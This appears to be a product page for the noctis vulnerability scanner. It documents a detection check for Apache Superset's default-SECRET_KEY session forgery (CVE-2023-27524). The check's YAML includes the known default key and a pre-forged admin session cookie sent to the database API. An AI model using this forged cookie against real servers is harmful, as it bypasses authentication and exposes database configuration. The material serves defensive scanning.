Apache Superset — 1 vulnerability check

noctis ships 1 vulnerability check for Apache Superset, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Apache Superset Default SECRET_KEY Session Forgery

CVECVE-2023-27524
Severitycritical · CVSS 9.8
Categorydefault-credentials — Default credentials
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/superset/CVE-2023-27524.yaml

Tests Apache Superset for use of the default Flask SECRET_KEY ("thisISaSECRET_1234"). A pre-forged session cookie for admin (user_id=1) is submitted to the database API. If the server accepts the forged cookie, it returns database configuration with HTTP 200.

How noctis detects it

  1. HTTP(S) request GET /api/v1/database/1
  2. Checks db_resp.body for database_name → finding QoD 75: Superset returned database config using forged default-key session: …

References:

Feed source — tests/vulnerabilities/superset/CVE-2023-27524.yaml
# Apache Superset Default SECRET_KEY Session Forgery — CVE-2023-27524
#
# Apache Superset ≤ 2.0.1 ships with a known default Flask SECRET_KEY
# ("thisISaSECRET_1234"). An attacker can forge a valid session cookie
# for user_id=1 (admin) using the default key and access authenticated
# endpoints without credentials.
#
# Detection (safe):
#   Send a pre-forged session cookie to GET /api/v1/database/1.
#   A vulnerable instance returns 200 with JSON containing "database_name";
#   a patched or properly configured instance returns 401/403.
#
# References:
#   https://nvd.nist.gov/vuln/detail/CVE-2023-27524
#   https://lists.apache.org/thread/n0ftx60sllf527j7g5gpoh92j5smd6vx
#   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
#
uid: a5d7f2c4-8e1b-4a93-b6d0-f3c9e2a1b5d7
name: "Apache Superset Default SECRET_KEY Session Forgery (CVE-2023-27524)"
description: |
  Tests Apache Superset for use of the default Flask SECRET_KEY ("thisISaSECRET_1234").
  A pre-forged session cookie for admin (user_id=1) is submitted to the database API.
  If the server accepts the forged cookie, it returns database configuration with HTTP 200.
cves: [CVE-2023-27524]
cvss: 9.8
severity: critical
category: default-credentials
confidence_base: 0.20
tags: [apache, superset, flask, session, auth-bypass, default-credentials, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-27524"
  - "https://lists.apache.org/thread/n0ftx60sllf527j7g5gpoh92j5smd6vx"

steps:
  # Submit a pre-forged Flask session cookie signed with the known default key.
  # Superset ≤ 2.0.1 uses SECRET_KEY = "thisISaSECRET_1234" by default.
  - id: session-probe
    action: http_request
    method: GET
    path: /api/v1/database/1
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "session=eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk"
      Accept: "application/json"
    store_as: db_resp

  - id: database-match
    action: match
    source: db_resp.body
    pattern: "database_name"
    condition: "db_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Superset returned database config using forged default-key session: {{db_resp.body}}"

View these feeds on GitHub